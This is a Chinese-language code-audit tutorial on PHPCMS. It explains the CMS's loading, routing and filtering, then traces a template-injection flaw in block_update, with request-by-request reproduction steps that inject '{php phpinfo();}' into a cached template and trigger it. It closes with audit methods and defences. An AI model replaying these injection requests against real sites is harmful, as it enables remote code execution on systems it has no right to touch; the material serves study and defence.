代码审计实战思路之浅析PHPCMS
字数 1656 2025-08-18 11:38:08
PHPCMS代码审计实战教学文档
一、系统架构分析
1. 入口文件分析
- 入口文件:
index.php - 核心流程:
define('PHPCMS_PATH', dirname(__FILE__).DIRECTORY_SEPARATOR); include PHPCMS_PATH.'/phpcms/base.php'; pc_base::creat_app();
2. 核心文件结构
- 核心类库:
phpcms/libs/classes/ - 模型类库:
phpcms/model/ - 应用目录:
phpcms/modules/ - 配置目录:
caches/configs/
3. 核心加载机制
PHPCMS使用pc_base类作为核心加载器,提供以下关键方法:
-
load_sys_class()
- 路径:
phpcms/libs/classes/ - 示例:
pc_base::load_sys_class('application')
- 路径:
-
load_app_class()
- 路径:
phpcms/modules/模块名/classes/ - 示例:
pc_base::load_app_class('block_tag', 'block')
- 路径:
-
load_model()
- 路径:
phpcms/model/ - 示例:
pc_base::load_model('content_model')
- 路径:
-
load_config()
- 路径:
caches/configs/ - 示例:
pc_base::load_config('system', 'errorlog')
- 路径:
4. 路由机制
- 路由参数:
m(模块)、c(控制器)、a(方法) - 默认路由配置(
caches/configs/route.php):return array( 'default'=>array('m'=>'content', 'c'=>'index', 'a'=>'init'), );
二、安全机制分析
1. 输入过滤
- 全局变量过滤:
new_addslashes()函数对所有外部输入($_GET,$_POST,$_REQUEST,$_COOKIE)进行转义 - 例外:
$_SERVER变量未被过滤
2. 方法访问控制
- 方法名以下划线开头为私有方法,禁止外部访问:
if (preg_match('/^[_]/i', ROUTE_A)) { exit('You are visiting the action is to protect the private action'); }
3. 路径安全
- 路由参数安全处理:
private function safe_deal($str) { return str_replace(array('/', '.'), '', $str); }
三、漏洞分析(block_update模板注入)
1. 漏洞位置
- 文件:
phpcms/modules/block/block_admin.php - 方法:
block_update()
2. 漏洞触发流程
-
权限检查:
$id = isset($_GET['id']) && intval($_GET['id']) ? intval($_GET['id']) : showmessage(L('illegal_operation'), HTTP_REFERER); if ($this->roleid != 1) { if (!$this->priv_db->get_one(array('blockid'=>$id, 'roleid'=>$this->roleid, 'siteid'=>$this->siteid))) { showmessage(L('not_have_permissions')); } } -
模板处理:
$template = isset($_POST['template']) && trim($_POST['template']) ? trim($_POST['template']) : ''; $block = pc_base::load_app_class('block_tag'); $block->template_url($id, $template); -
模板解析与写入:
// phpcms/modules/block/classes/block_tag.class.php public function template_url($id, $template) { $filepath = CACHE_PATH.'caches_template'.DIRECTORY_SEPARATOR.'block'.DIRECTORY_SEPARATOR.$id.'.php'; $tpl = pc_base::load_sys_class('template_cache'); $str = $tpl->template_parse(new_stripslashes($template)); @file_put_contents($filepath, $str); } -
模板解析逻辑:
// phpcms/libs/classes/template_cache.class.php public function template_parse($str) { // 各种模板标签替换... $str = "<?php defined('IN_PHPCMS') or exit('No permission resources.'); ?>" . $str; return $str; }
3. 漏洞利用链
- 通过
block_admin.php的block_update方法写入恶意模板 - 通过
block_tag类的pc_tag方法包含模板文件:public function pc_tag($data) { // ... include $this->template_url($id); // ... } - 最终通过
link模块的register方法触发模板解析:public function register() { include template('link', 'register'); }
4. 漏洞复现步骤
-
添加block记录获取ID:
POST /phpcms/index.php?m=block&c=block_admin&a=add&pos=1&pc_hash=gh43rD dosubmit=&name=bb&type=2 -
注入恶意模板:
POST /phpcms/index.php?m=block&c=block_admin&a=block_update&id=4&pc_hash=gh43rD dosubmit=&name=bb&type=2&url=&thumb=&desc=&template={php phpinfo();} -
触发漏洞:
访问/phpcms/index.php?m=link&c=index&a=register
四、审计方法论
1. 审计方案
-
核心类库审计优先
- 优点:发现漏洞影响面广
- 缺点:工作量大
-
功能点直接审计
- 优点:针对性强
- 缺点:需要频繁跟踪调用链
-
黑盒+白盒结合
- 先用BurpSuite等工具测试可疑功能点
- 再针对性地分析代码
2. 关键审计点
-
文件操作函数
file_put_contents()include/require
-
动态代码执行
eval()create_function()call_user_func()
-
数据库操作
- SQL拼接处
- 参数化查询使用情况
-
模板解析
- 模板引擎实现方式
- 用户输入是否直接进入模板
五、防御建议
-
输入验证
- 对
template参数进行严格过滤 - 禁止PHP代码直接写入模板
- 对
-
权限控制
- 加强模板修改操作的权限验证
- 实现操作日志记录
-
安全配置
- 限制缓存目录的web访问权限
- 设置
open_basedir限制
-
代码层面
- 使用安全的模板引擎
- 实现模板签名验证机制
六、总结
本漏洞的核心问题在于:
- 用户输入未经充分过滤直接进入模板解析
- 模板解析结果被写入可访问的缓存文件
- 存在包含点可触发恶意模板执行
通过此案例可以学习到PHPCMS的核心架构和安全机制,以及如何通过系统化的代码审计方法发现此类安全问题。